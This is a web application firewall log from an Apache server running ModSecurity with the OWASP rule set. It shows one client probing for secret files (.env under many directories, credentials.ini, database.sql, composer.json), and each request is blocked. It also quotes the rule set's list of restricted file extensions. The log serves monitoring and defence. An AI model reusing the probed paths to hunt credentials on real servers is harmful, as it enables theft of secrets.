[Mon Oct 26 23:41:28.039712 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOt_JlfYNa0VLOKIrwAAAAw"]
[Mon Oct 26 23:41:28.041172 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/cms/.env"] [unique_id "auAdaE24KMCNE5F3hPn8pAAAAAA"]
[Mon Oct 26 23:41:28.041299 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/cms/.env"] [unique_id "auAdaE24KMCNE5F3hPn8pAAAAAA"]
[Mon Oct 26 23:41:28.041990 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaE24KMCNE5F3hPn8pAAAAAA"]
[Mon Oct 26 23:41:28.043599 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/composer.json"] [unique_id "auAdaJGCCt7t6mKgKshQJgAAACI"]
[Mon Oct 26 23:41:28.043730 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/composer.json"] [unique_id "auAdaJGCCt7t6mKgKshQJgAAACI"]
[Mon Oct 26 23:41:28.044408 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaJGCCt7t6mKgKshQJgAAACI"]
[Mon Oct 26 23:41:28.114816 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/config/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIsAAAAAw"]
[Mon Oct 26 23:41:28.114977 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/config/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIsAAAAAw"]
[Mon Oct 26 23:41:28.115699 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOt_JlfYNa0VLOKIsAAAAAw"]
[Mon Oct 26 23:41:28.144108 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/core/.env"] [unique_id "auAdaAjA6epjCUwuTm4nzgAAABY"]
[Mon Oct 26 23:41:28.144244 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/core/.env"] [unique_id "auAdaAjA6epjCUwuTm4nzgAAABY"]
[Mon Oct 26 23:41:28.144990 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaAjA6epjCUwuTm4nzgAAABY"]
[Mon Oct 26 23:41:28.146543 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.parkeranders.com"] [uri "/credentials.ini"] [unique_id "auAdaANsKVHs98GrhGMUOgAAAAE"]
[Mon Oct 26 23:41:28.146735 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/credentials.ini"] [unique_id "auAdaANsKVHs98GrhGMUOgAAAAE"]
[Mon Oct 26 23:41:28.147380 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaANsKVHs98GrhGMUOgAAAAE"]
[Mon Oct 26 23:41:28.189283 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.parkeranders.com"] [uri "/database.sql"] [unique_id "auAdaOn4bIWiIXBuaEF-6QAAAAI"]
[Mon Oct 26 23:41:28.189545 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/database.sql"] [unique_id "auAdaOn4bIWiIXBuaEF-6QAAAAI"]
[Mon Oct 26 23:41:28.190270 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-6QAAAAI"]
[Mon Oct 26 23:41:28.190652 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/demo/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIsQAAAAw"]
[Mon Oct 26 23:41:28.190792 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/demo/.env"] [unique_id "auAdaOt_JlfYNa0VLOKIsQAAAAw"]
[Mon Oct 26 23:41:28.191510 2026] [security2:error] [pid 3147565:tid 3147565] [client 35.241.132.20:44258] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOt_JlfYNa0VLOKIsQAAAAw"]
[Mon Oct 26 23:41:28.193873 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/dev/.env"] [unique_id "auAdaE24KMCNE5F3hPn8pgAAAAA"]
[Mon Oct 26 23:41:28.194003 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/dev/.env"] [unique_id "auAdaE24KMCNE5F3hPn8pgAAAAA"]
[Mon Oct 26 23:41:28.194641 2026] [security2:error] [pid 3153798:tid 3153798] [client 35.241.132.20:44244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaE24KMCNE5F3hPn8pgAAAAA"]
[Mon Oct 26 23:41:28.268244 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/frontend/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-6gAAAAI"]
[Mon Oct 26 23:41:28.268385 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/frontend/.env"] [unique_id "auAdaOn4bIWiIXBuaEF-6gAAAAI"]
[Mon Oct 26 23:41:28.269117 2026] [security2:error] [pid 3152927:tid 3152927] [client 35.241.132.20:44222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaOn4bIWiIXBuaEF-6gAAAAI"]
[Mon Oct 26 23:41:28.296109 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/laravel/.env"] [unique_id "auAdaJGCCt7t6mKgKshQKQAAACI"]
[Mon Oct 26 23:41:28.296251 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/laravel/.env"] [unique_id "auAdaJGCCt7t6mKgKshQKQAAACI"]
[Mon Oct 26 23:41:28.297022 2026] [security2:error] [pid 3153409:tid 3153409] [client 35.241.132.20:44256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaJGCCt7t6mKgKshQKQAAACI"]
[Mon Oct 26 23:41:28.297468 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/media/.env"] [unique_id "auAdaAjA6epjCUwuTm4n0AAAABY"]
[Mon Oct 26 23:41:28.297627 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/media/.env"] [unique_id "auAdaAjA6epjCUwuTm4n0AAAABY"]
[Mon Oct 26 23:41:28.298302 2026] [security2:error] [pid 3153397:tid 3153397] [client 35.241.132.20:44266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaAjA6epjCUwuTm4n0AAAABY"]
[Mon Oct 26 23:41:28.308118 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/new/.env"] [unique_id "auAdaANsKVHs98GrhGMUPAAAAAE"]
[Mon Oct 26 23:41:28.308272 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.parkeranders.com"] [uri "/new/.env"] [unique_id "auAdaANsKVHs98GrhGMUPAAAAAE"]
[Mon Oct 26 23:41:28.308981 2026] [security2:error] [pid 3154105:tid 3154105] [client 35.241.132.20:44272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "server.parkeranders.com"] [uri "/403.shtml"] [unique_id "auAdaANsKVHs98GrhGMUPAAAAAE"]
[Mon Oct 26 23:41:28.309937 2026] [security2:error] [pid 3146331:tid 3146331] [client 35.241.132.20:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "server.parkeranders.com"] [uri "/old/.env"] [unique_id "auAdaB7MuKI4tGMtwYeNKwAAAAo"]
